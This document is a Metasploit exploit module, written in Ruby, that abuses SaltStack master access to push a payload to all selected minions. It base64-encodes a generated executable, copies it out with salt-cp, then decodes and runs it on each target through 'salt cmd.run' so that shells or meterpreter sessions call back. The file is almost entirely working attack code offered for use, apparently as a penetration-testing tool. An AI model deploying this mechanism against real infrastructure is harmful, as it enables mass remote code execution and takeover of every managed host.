Saltstack Minion Payload Deployer Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Saltstack

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Saltstack Minion Payload Deployer',
        'Description' => %q{
          This exploit module uses saltstack salt to deploy a payload and run it
          on all targets which have been selected (default all).
          Currently only works against nix targets.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'c2Vlcgo'
        ],
        'Platform' => [ 'linux', 'unix' ],
        'Stance' => Msf::Exploit::Stance::Passive,
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [],
        'DisclosureDate' => '2011-03-19', # saltstack salt original release date
        'DefaultTarget' => 0,
        'Passive' => true, # this allows us to get multiple shells calling home
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options [
      OptString.new('SALT', [true, 'salt-master executable location', '']),
      OptString.new('MINIONS', [true, 'Minions Target', '*']),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
      OptString.new('TargetWritableDir', [ true, 'A directory where we can write and execute files on targets', '/tmp' ]),
      OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),
      OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions', 60 ]),
      OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run in seconds', 120])
    ]
  end

  def salt_master
    return @salt if @salt

    [datastore['SALT'], '/usr/bin/salt-master', '/usr/local/bin/salt-master'].each do |exec|
      next unless executable?(exec)

      @salt = exec
      return @salt
    end
    @salt
  end

  def list_minions_printer
    minions = list_minions
    return if minions.nil?

    tbl = Rex::Text::Table.new(
      'Header' => 'Minions List',
      'Indent' => 1,
      'Columns' => ['Status', 'Minion Name']
    )

    count = 0
    minions['minions'].each do |minion|
      tbl << ['Accepted', minion]
      count += 1
    end

    print_good(tbl.to_s)

    # https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017
    print_good("#{count} minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")
    Rex.sleep(10)
    count
  end

  def check
    return CheckCode::Safe('salt-master does not seem to be installed, unable to find salt-master executable') if salt_master.nil?

    CheckCode::Vulnerable('salt-master executable found')
  end

  def exploit
    # Make sure we can write our exploit and payload to the local system
    fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']
    count = 1 # default to running if we decide not to calculate
    count = list_minions_printer if datastore['CALCULATE']
    fail_with Failure::NotFound, 'No exploitable minions found.' if count == 0

    payload_name = rand_text_alphanumeric(5..10)

    # due to a bug in older (2021) versions of salt-cp, we need to write ascii files. https://github.com/saltstack/salt/issues/59899
    upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", Rex::Text.encode_base64(generate_payload_exe)

    print_status('Copying payload to minions')
    cmd_exec("salt-cp '#{datastore['MINIONS']}' '#{datastore['WritableDir']}/#{payload_name}' '#{datastore['TargetWritableDir']}/#{payload_name}.b64'")
    print_status('Executing payloads')
    cmd_exec("salt '#{datastore['MINIONS']}' cmd.run 'base64 -d #{datastore['TargetWritableDir']}/#{payload_name}.b64 > #{datastore['TargetWritableDir']}/#{payload_name} && chmod 755 #{datastore['TargetWritableDir']}/#{payload_name} && #{datastore['TargetWritableDir']}/#{payload_name}'")

    # stolen from exploit/multi/handler
    stime = Time.now.to_f
    timeout = datastore['ListenerTimeout'].to_i
    loop do
      break if timeout > 0 && (stime + timeout < Time.now.to_f)

      Rex::ThreadSafe.sleep(1)
    end
  end

  def on_new_session(_session)
    super
    cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi')

    begin
      print_warning("Deleting: #{datastore['TargetWritableDir']}/#{payload_name}")
      cli.fs.file.rm("#{datastore['TargetWritableDir']}/#{payload_name}")
      print_good("#{datastore['TargetWritableDir']}/#{payload_name} removed")
    rescue StandardError
      print_error("Unable to delete: #{datastore['TargetWritableDir']}/#{payload_name}")
    end
  end

end